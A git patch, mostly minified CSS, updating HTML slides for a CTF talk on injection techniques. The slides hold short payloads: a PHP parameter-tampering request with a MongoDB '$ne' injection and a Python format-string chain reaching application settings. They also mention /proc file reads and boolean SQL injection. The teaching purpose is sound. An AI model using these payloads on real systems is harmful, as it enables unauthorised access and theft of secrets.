From 14d82fcdfab6e63b2b9ad93e6948c11215434baf Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Wed, 14 Aug 2024 08:23:51 +0800 Subject: [PATCH 01/34] update slides --- .../2024-08-14-from-input-to-injection.html | 78 ++++++++---------- .../2024-08-14-from-input-to-injection.pdf | Bin 1214077 -> 1207373 bytes 2 files changed, 36 insertions(+), 42 deletions(-) diff --git a/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.html b/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.html index e8fee1c67..46c2b0d56 100644 --- a/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.html +++ b/content/pages/slides/from-input-to-injection/2024-08-14-from-input-to-injection.html @@ -43,18 +43,18 @@ highlight.js http://highlightjs.readthedocs.io/en/latest/style-guide.html http://highlightjs.readthedocs.io/en/latest/css-classes-reference.html -*/div#\:\$p>svg>foreignObject>section .hljs{display:block;overflow-x:auto;padding:0.5em;background:#2E3440}div#\:\$p>svg>foreignObject>section .hljs,div#\:\$p>svg>foreignObject>section .hljs-subst{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-selector-tag{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-selector-id{color:#8FBCBB;font-weight:bold}div#\:\$p>svg>foreignObject>section .hljs-selector-class{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-selector-attr{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-selector-pseudo{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-addition{background-color:rgba(163,190,140,0.5)}div#\:\$p>svg>foreignObject>section .hljs-deletion{background-color:rgba(191,97,106,0.5)}div#\:\$p>svg>foreignObject>section .hljs-built_in,div#\:\$p>svg>foreignObject>section .hljs-type{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-class{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-function{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-function>.hljs-title{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-keyword,div#\:\$p>svg>foreignObject>section .hljs-literal,div#\:\$p>svg>foreignObject>section .hljs-symbol{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-number{color:#B48EAD}div#\:\$p>svg>foreignObject>section .hljs-regexp{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .hljs-string{color:#A3BE8C}div#\:\$p>svg>foreignObject>section .hljs-title{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-params{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-bullet{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-code{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-emphasis{font-style:italic}div#\:\$p>svg>foreignObject>section .hljs-formula{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-strong{font-weight:bold}div#\:\$p>svg>foreignObject>section .hljs-link:hover{text-decoration:underline}div#\:\$p>svg>foreignObject>section .hljs-quote{color:#4C566A}div#\:\$p>svg>foreignObject>section .hljs-comment{color:#4C566A}div#\:\$p>svg>foreignObject>section .hljs-doctag{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-meta,div#\:\$p>svg>foreignObject>section .hljs-meta-keyword{color:#5E81AC}div#\:\$p>svg>foreignObject>section .hljs-meta-string{color:#A3BE8C}div#\:\$p>svg>foreignObject>section .hljs-attr{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-attribute{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-builtin-name{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-name{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-section{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-tag{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-variable{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-template-variable{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-template-tag{color:#5E81AC}div#\:\$p>svg>foreignObject>section .abnf .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .abnf .hljs-symbol{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .apache .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .apache .hljs-section{color:#81A1C1}div#\:\$p>svg>foreignObject>section .arduino .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .aspectj .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .aspectj>.hljs-title{color:#88C0D0}div#\:\$p>svg>foreignObject>section .bnf .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .clojure .hljs-name{color:#88C0D0}div#\:\$p>svg>foreignObject>section .clojure .hljs-symbol{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .coq .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .cpp .hljs-meta-string{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .css .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .css .hljs-keyword{color:#D08770}div#\:\$p>svg>foreignObject>section .diff .hljs-meta{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .ebnf .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .glsl .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .groovy .hljs-meta:not(:first-child){color:#D08770}div#\:\$p>svg>foreignObject>section .haxe .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .java .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .ldif .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .lisp .hljs-name{color:#88C0D0}div#\:\$p>svg>foreignObject>section .lua .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .moonscript .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .nginx .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .nginx .hljs-section{color:#5E81AC}div#\:\$p>svg>foreignObject>section .pf .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .processing .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .scss .hljs-keyword{color:#81A1C1}div#\:\$p>svg>foreignObject>section .stylus .hljs-keyword{color:#81A1C1}div#\:\$p>svg>foreignObject>section .swift .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .vim .hljs-built_in{color:#88C0D0;font-style:italic}div#\:\$p>svg>foreignObject>section .yaml .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section svg[data-marp-fitting=svg]{max-height:563px}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1){border-bottom:none;color:#ECEFF4;font-size:1.6em}div#\:\$p>svg>foreignObject>section :is(h2,marp-h2){border-bottom:none;font-size:1.3em}div#\:\$p>svg>foreignObject>section :is(h3,marp-h3){font-size:1.1em}div#\:\$p>svg>foreignObject>section :is(h4,marp-h4){font-size:1.05em}div#\:\$p>svg>foreignObject>section :is(h5,marp-h5){font-size:1em}div#\:\$p>svg>foreignObject>section :is(h6,marp-h6){font-size:0.9em}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1) strong,div#\:\$p>svg>foreignObject>section :is(h2,marp-h2) strong,div#\:\$p>svg>foreignObject>section :is(h3,marp-h3) strong,div#\:\$p>svg>foreignObject>section :is(h4,marp-h4) strong,div#\:\$p>svg>foreignObject>section :is(h5,marp-h5) strong,div#\:\$p>svg>foreignObject>section :is(h6,marp-h6) strong{font-weight:inherit;color:#48c}div#\:\$p>svg>foreignObject>section a{color:#88C0D0}div#\:\$p>svg>foreignObject>section hr{height:0;padding-top:0.25em}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre){border:1px solid #8FBCBB;line-height:1.15;overflow:visible;background-color:#2E3440}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) code svg[data-marp-fitting=svg]{max-height:529px}div#\:\$p>svg>foreignObject>section code{background-color:#2E3440;color:#88C0D0}div#\:\$p>svg>foreignObject>section footer,div#\:\$p>svg>foreignObject>section header{margin:0;position:absolute;left:30px;color:rgba(102,102,102,0.75);font-size:18px}div#\:\$p>svg>foreignObject>section header{top:21px}div#\:\$p>svg>foreignObject>section footer{bottom:21px}div#\:\$p>svg>foreignObject>section{background:#3B4252;color:#E5E9F0;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif;align-items:stretch;display:flex;flex-direction:column;flex-wrap:nowrap;font-size:29px;height:720px;justify-content:center;padding:78.5px;width:1280px}div#\:\$p>svg>foreignObject>section{--marpit-root-font-size:29px}div#\:\$p>svg>foreignObject>section.lead :is(h1,marp-h1){font-size:3.1em}div#\:\$p>svg>foreignObject>section>:last-child,div#\:\$p>svg>foreignObject>section[data-footer]>:nth-last-child(2){margin-bottom:0}div#\:\$p>svg>foreignObject>section>:first-child,div#\:\$p>svg>foreignObject>section>header:first-child+*{margin-top:0}div#\:\$p>svg>foreignObject>section:after{position:absolute;padding:0;right:30px;bottom:21px;font-size:24px;color:#777}div#\:\$p>svg>foreignObject>section:after{--marpit-root-font-size:24px}div#\:\$p>svg>foreignObject>section[data-color] :is(h1,marp-h1),div#\:\$p>svg>foreignObject>section[data-color] :is(h2,marp-h2),div#\:\$p>svg>foreignObject>section[data-color] :is(h3,marp-h3),div#\:\$p>svg>foreignObject>section[data-color] :is(h4,marp-h4),div#\:\$p>svg>foreignObject>section[data-color] :is(h5,marp-h5),div#\:\$p>svg>foreignObject>section[data-color] :is(h6,marp-h6){color:currentColor}div#\:\$p>svg>foreignObject>section *{font-size:32px}div#\:\$p>svg>foreignObject>section section{--marpit-root-font-size:32px}div#\:\$p>svg>foreignObject>section .hljs-comment{color:#96a0ab}div#\:\$p>svg>foreignObject>section footer{color:#888}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1){font-size:80px}div#\:\$p>svg>foreignObject>section :is(h2,marp-h2){font-size:60px}div#\:\$p>svg>foreignObject>section :is(h3,marp-h3){font-size:48px}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) *{font-size:24px}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) div#\:\$p>svg>foreignObject>section section{--marpit-root-font-size:24px}div#\:\$p>svg>foreignObject>section img[alt~=center]{display:block;margin:0 auto}div#\:\$p>svg>foreignObject>section[data-marpit-scope-Hz3K3sPR] img[alt~=img1]{position:absolute;top:370px;left:650px;width:550px}div#\:\$p>svg>foreignObject>section[data-marpit-scope-EA4tZ5bK] ul p{margin-bottom:0}div#\:\$p>svg>foreignObject>section[data-marpit-scope-EA4tZ5bK] ul ul p{margin-top:calc(var(--marpit-root-font-size, 1rem) * 0.25)}div#\:\$p>svg>foreignObject>section[data-marpit-scope-EA4tZ5bK] ul :is(pre,marp-pre){margin-top:calc(var(--marpit-root-font-size, 1rem) * 0.5)}div#\:\$p>svg>foreignObject>section[data-marpit-scope-uAAowmKA] img[alt~=img1]{position:absolute;top:30px;left:30px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-scope-uAAowmKA] img[alt~=img2]{position:absolute;top:220px;left:310px;width:1000px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-scope-uAAowmKA] img[alt~=img3]{position:absolute;top:550px;left:360px;width:800px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]{columns:initial!important;display:block!important;padding:0!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]:after,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]:before,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content]:after,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content]:before{display:none!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]{all:initial;display:flex;flex-direction:row;height:100%;overflow:hidden;width:100%}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container][data-marpit-advanced-background-direction=vertical]{flex-direction:column}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background][data-marpit-advanced-background-split]>div[data-marpit-advanced-background-container]{width:var(--marpit-advanced-background-split,50%)}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background][data-marpit-advanced-background-split=right]>div[data-marpit-advanced-background-container]{margin-left:calc(100% - var(--marpit-advanced-background-split, 50%))}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]>figure{all:initial;background-position:center;background-repeat:no-repeat;background-size:cover;flex:auto;margin:0}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]>figure>figcaption{position:absolute;border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;white-space:nowrap;width:1px}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content],div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=pseudo]{background:transparent!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=pseudo],div#\:\$p>svg[data-marpit-svg]>foreignObject[data-marpit-advanced-background=pseudo]{pointer-events:none!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background-split]{width:100%;height:100%}
+*/div#\:\$p>svg>foreignObject>section .hljs{display:block;overflow-x:auto;padding:0.5em;background:#2E3440}div#\:\$p>svg>foreignObject>section .hljs,div#\:\$p>svg>foreignObject>section .hljs-subst{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-selector-tag{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-selector-id{color:#8FBCBB;font-weight:bold}div#\:\$p>svg>foreignObject>section .hljs-selector-class{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-selector-attr{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-selector-pseudo{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-addition{background-color:rgba(163,190,140,0.5)}div#\:\$p>svg>foreignObject>section .hljs-deletion{background-color:rgba(191,97,106,0.5)}div#\:\$p>svg>foreignObject>section .hljs-built_in,div#\:\$p>svg>foreignObject>section .hljs-type{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-class{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-function{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-function>.hljs-title{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-keyword,div#\:\$p>svg>foreignObject>section .hljs-literal,div#\:\$p>svg>foreignObject>section .hljs-symbol{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-number{color:#B48EAD}div#\:\$p>svg>foreignObject>section .hljs-regexp{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .hljs-string{color:#A3BE8C}div#\:\$p>svg>foreignObject>section .hljs-title{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-params{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-bullet{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-code{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-emphasis{font-style:italic}div#\:\$p>svg>foreignObject>section .hljs-formula{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-strong{font-weight:bold}div#\:\$p>svg>foreignObject>section .hljs-link:hover{text-decoration:underline}div#\:\$p>svg>foreignObject>section .hljs-quote{color:#4C566A}div#\:\$p>svg>foreignObject>section .hljs-comment{color:#4C566A}div#\:\$p>svg>foreignObject>section .hljs-doctag{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-meta,div#\:\$p>svg>foreignObject>section .hljs-meta-keyword{color:#5E81AC}div#\:\$p>svg>foreignObject>section .hljs-meta-string{color:#A3BE8C}div#\:\$p>svg>foreignObject>section .hljs-attr{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .hljs-attribute{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-builtin-name{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-name{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-section{color:#88C0D0}div#\:\$p>svg>foreignObject>section .hljs-tag{color:#81A1C1}div#\:\$p>svg>foreignObject>section .hljs-variable{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-template-variable{color:#D8DEE9}div#\:\$p>svg>foreignObject>section .hljs-template-tag{color:#5E81AC}div#\:\$p>svg>foreignObject>section .abnf .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .abnf .hljs-symbol{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .apache .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .apache .hljs-section{color:#81A1C1}div#\:\$p>svg>foreignObject>section .arduino .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .aspectj .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .aspectj>.hljs-title{color:#88C0D0}div#\:\$p>svg>foreignObject>section .bnf .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .clojure .hljs-name{color:#88C0D0}div#\:\$p>svg>foreignObject>section .clojure .hljs-symbol{color:#EBCB8B}div#\:\$p>svg>foreignObject>section .coq .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .cpp .hljs-meta-string{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .css .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .css .hljs-keyword{color:#D08770}div#\:\$p>svg>foreignObject>section .diff .hljs-meta{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .ebnf .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .glsl .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .groovy .hljs-meta:not(:first-child){color:#D08770}div#\:\$p>svg>foreignObject>section .haxe .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .java .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .ldif .hljs-attribute{color:#8FBCBB}div#\:\$p>svg>foreignObject>section .lisp .hljs-name{color:#88C0D0}div#\:\$p>svg>foreignObject>section .lua .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .moonscript .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .nginx .hljs-attribute{color:#88C0D0}div#\:\$p>svg>foreignObject>section .nginx .hljs-section{color:#5E81AC}div#\:\$p>svg>foreignObject>section .pf .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .processing .hljs-built_in{color:#88C0D0}div#\:\$p>svg>foreignObject>section .scss .hljs-keyword{color:#81A1C1}div#\:\$p>svg>foreignObject>section .stylus .hljs-keyword{color:#81A1C1}div#\:\$p>svg>foreignObject>section .swift .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section .vim .hljs-built_in{color:#88C0D0;font-style:italic}div#\:\$p>svg>foreignObject>section .yaml .hljs-meta{color:#D08770}div#\:\$p>svg>foreignObject>section svg[data-marp-fitting=svg]{max-height:563px}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1){border-bottom:none;color:#ECEFF4;font-size:1.6em}div#\:\$p>svg>foreignObject>section :is(h2,marp-h2){border-bottom:none;font-size:1.3em}div#\:\$p>svg>foreignObject>section :is(h3,marp-h3){font-size:1.1em}div#\:\$p>svg>foreignObject>section :is(h4,marp-h4){font-size:1.05em}div#\:\$p>svg>foreignObject>section :is(h5,marp-h5){font-size:1em}div#\:\$p>svg>foreignObject>section :is(h6,marp-h6){font-size:0.9em}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1) strong,div#\:\$p>svg>foreignObject>section :is(h2,marp-h2) strong,div#\:\$p>svg>foreignObject>section :is(h3,marp-h3) strong,div#\:\$p>svg>foreignObject>section :is(h4,marp-h4) strong,div#\:\$p>svg>foreignObject>section :is(h5,marp-h5) strong,div#\:\$p>svg>foreignObject>section :is(h6,marp-h6) strong{font-weight:inherit;color:#48c}div#\:\$p>svg>foreignObject>section a{color:#88C0D0}div#\:\$p>svg>foreignObject>section hr{height:0;padding-top:0.25em}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre){border:1px solid #8FBCBB;line-height:1.15;overflow:visible;background-color:#2E3440}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) code svg[data-marp-fitting=svg]{max-height:529px}div#\:\$p>svg>foreignObject>section code{background-color:#2E3440;color:#88C0D0}div#\:\$p>svg>foreignObject>section footer,div#\:\$p>svg>foreignObject>section header{margin:0;position:absolute;left:30px;color:rgba(102,102,102,0.75);font-size:18px}div#\:\$p>svg>foreignObject>section header{top:21px}div#\:\$p>svg>foreignObject>section footer{bottom:21px}div#\:\$p>svg>foreignObject>section{background:#3B4252;color:#E5E9F0;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,Cantarell,'Open Sans','Helvetica Neue',sans-serif;align-items:stretch;display:flex;flex-direction:column;flex-wrap:nowrap;font-size:29px;height:720px;justify-content:center;padding:78.5px;width:1280px}div#\:\$p>svg>foreignObject>section{--marpit-root-font-size:29px}div#\:\$p>svg>foreignObject>section.lead :is(h1,marp-h1){font-size:3.1em}div#\:\$p>svg>foreignObject>section>:last-child,div#\:\$p>svg>foreignObject>section[data-footer]>:nth-last-child(2){margin-bottom:0}div#\:\$p>svg>foreignObject>section>:first-child,div#\:\$p>svg>foreignObject>section>header:first-child+*{margin-top:0}div#\:\$p>svg>foreignObject>section:after{position:absolute;padding:0;right:30px;bottom:21px;font-size:24px;color:#777}div#\:\$p>svg>foreignObject>section:after{--marpit-root-font-size:24px}div#\:\$p>svg>foreignObject>section[data-color] :is(h1,marp-h1),div#\:\$p>svg>foreignObject>section[data-color] :is(h2,marp-h2),div#\:\$p>svg>foreignObject>section[data-color] :is(h3,marp-h3),div#\:\$p>svg>foreignObject>section[data-color] :is(h4,marp-h4),div#\:\$p>svg>foreignObject>section[data-color] :is(h5,marp-h5),div#\:\$p>svg>foreignObject>section[data-color] :is(h6,marp-h6){color:currentColor}div#\:\$p>svg>foreignObject>section *{font-size:32px}div#\:\$p>svg>foreignObject>section section{--marpit-root-font-size:32px}div#\:\$p>svg>foreignObject>section .hljs-comment{color:#96a0ab}div#\:\$p>svg>foreignObject>section footer{color:#888}div#\:\$p>svg>foreignObject>section :is(h1,marp-h1){font-size:80px}div#\:\$p>svg>foreignObject>section :is(h2,marp-h2){font-size:60px}div#\:\$p>svg>foreignObject>section :is(h3,marp-h3){font-size:48px}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) *{font-size:24px}div#\:\$p>svg>foreignObject>section :is(pre,marp-pre) div#\:\$p>svg>foreignObject>section section{--marpit-root-font-size:24px}div#\:\$p>svg>foreignObject>section img[alt~=center]{display:block;margin:0 auto}div#\:\$p>svg>foreignObject>section[data-marpit-scope-sI71JtIL] div[data-bottom-text]{display:flex;flex-direction:row;justify-content:space-between;width:100%}div#\:\$p>svg>foreignObject>section[data-marpit-scope-1GODxbsi] img[alt~=img1]{position:absolute;top:370px;left:650px;width:550px}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xDKHYAqH] ul p{margin-bottom:0}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xDKHYAqH] ul ul p{margin-top:calc(var(--marpit-root-font-size, 1rem) * 0.25)}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xDKHYAqH] ul :is(pre,marp-pre){margin-top:calc(var(--marpit-root-font-size, 1rem) * 0.5)}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xnHNhDVa] img[alt~=img1]{position:absolute;top:30px;left:30px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xnHNhDVa] img[alt~=img2]{position:absolute;top:220px;left:310px;width:1000px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-scope-xnHNhDVa] img[alt~=img3]{position:absolute;top:550px;left:360px;width:800px;border:2px solid white}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]{columns:initial!important;display:block!important;padding:0!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]:after,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]:before,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content]:after,div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content]:before{display:none!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]{all:initial;display:flex;flex-direction:row;height:100%;overflow:hidden;width:100%}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container][data-marpit-advanced-background-direction=vertical]{flex-direction:column}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background][data-marpit-advanced-background-split]>div[data-marpit-advanced-background-container]{width:var(--marpit-advanced-background-split,50%)}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background][data-marpit-advanced-background-split=right]>div[data-marpit-advanced-background-container]{margin-left:calc(100% - var(--marpit-advanced-background-split, 50%))}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]>figure{all:initial;background-position:center;background-repeat:no-repeat;background-size:cover;flex:auto;margin:0}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=background]>div[data-marpit-advanced-background-container]>figure>figcaption{position:absolute;border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;white-space:nowrap;width:1px}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=content],div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=pseudo]{background:transparent!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background=pseudo],div#\:\$p>svg[data-marpit-svg]>foreignObject[data-marpit-advanced-background=pseudo]{pointer-events:none!important}div#\:\$p>svg>foreignObject>section[data-marpit-advanced-background-split]{width:100%;height:100%}

From Input to Injection

Practical Lessons from HKIRC CTF


@TrebledJ   •   2024 Aug. 14

-
+

1 — Interesting Techniques

2 – Boolean SQLi: PoC to Flag in 5 Minutes

From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
-
+

1.1 — Arbitrary File Reads with /proc/**

Where do we usually look when we have an arbitrary file read? (On Linux)

    @@ -68,11 +68,11 @@

    +


    -
    +

    What about Windows?

    Files:

    @@ -93,7 +93,7 @@

    What about Windows?

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    1.2 — PHP Parameter Tampering

    login.php (simplified):

    $username = $_GET['username']
    @@ -112,7 +112,7 @@ 

    1.2 — PHP Parameter Tampering

    username=darklab&password=123456
    -
    +

    $userinfo

    • Originally array(), but can tamper to be string.
    • @@ -133,13 +133,13 @@

      1.2 — PHP Parameter Tampering

      From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    CVEs?

    Couldn't find.

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +
    POST /login.php HTTP/1.1
     ...
     
    @@ -157,18 +157,16 @@ 

    CVEs?

    => $_POST = array( [username]=array([$ne]="joe"), [password]="123456" )
     
    -
    -

    Potential MongoDB Injection!                                Also check out PHP Type Juggling.

    -
    +
    Potential MongoDB Injection!Also check out PHP Type Juggling.
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    1.3 — Python Format String Injection

    DEMO \o/
     
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Ultra Simplified Example:

    PASSWORD = 'password_5910f7f523cd780c67'
     
    @@ -191,7 +189,7 @@ 

    1.3 — Python Format String Inject
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14

    -
    +

    No problem!

    {user.__init__.__globals__[__loader__] \
      .__init__.__globals__[sys].modules[HealthyBMI.settings] \
    @@ -209,7 +207,7 @@ 

    1.3 — Python Format String Inject
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14

    -
    +

    Real Problems, Real Vulns

    Various Python format-string CVEs:

    @@ -234,12 +232,12 @@

    Real Problems, Real Vulns

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    1 — Interesting Techniques

    2 — Boolean SQLi: PoC to Flag in 5 Minutes

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    My Secret Sauce — bsqli.py

    • Used in OSCP + Multiple Engagements
    • @@ -249,18 +247,20 @@

      My Secret Sauce — bsqli.py

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Demo Walkthrough

    +
    \o/ DEMO \o/
    +
    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Basic PoC

    PoC with Script: Get DB Version

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Get Table Names (starting with f)

    Get DB Name
    @@ -269,18 +269,18 @@

    Demo Walkthrough

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    Now that we know the db, table, and column, we can select-from it.

    GG!

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    +

    img1
    img2
    img3

    -
    +

    Why go deeper?

    • Explore Attack Chain - discover creds, users, PII, etc.
    • @@ -298,20 +298,7 @@

      Why go deeper?

    From Input to Injection: Practical Lessons from HKIRC CTF   •   2024 Aug. 14
    -
    -

    Takeaways

    -
      -
    • Speed matters.
    • -
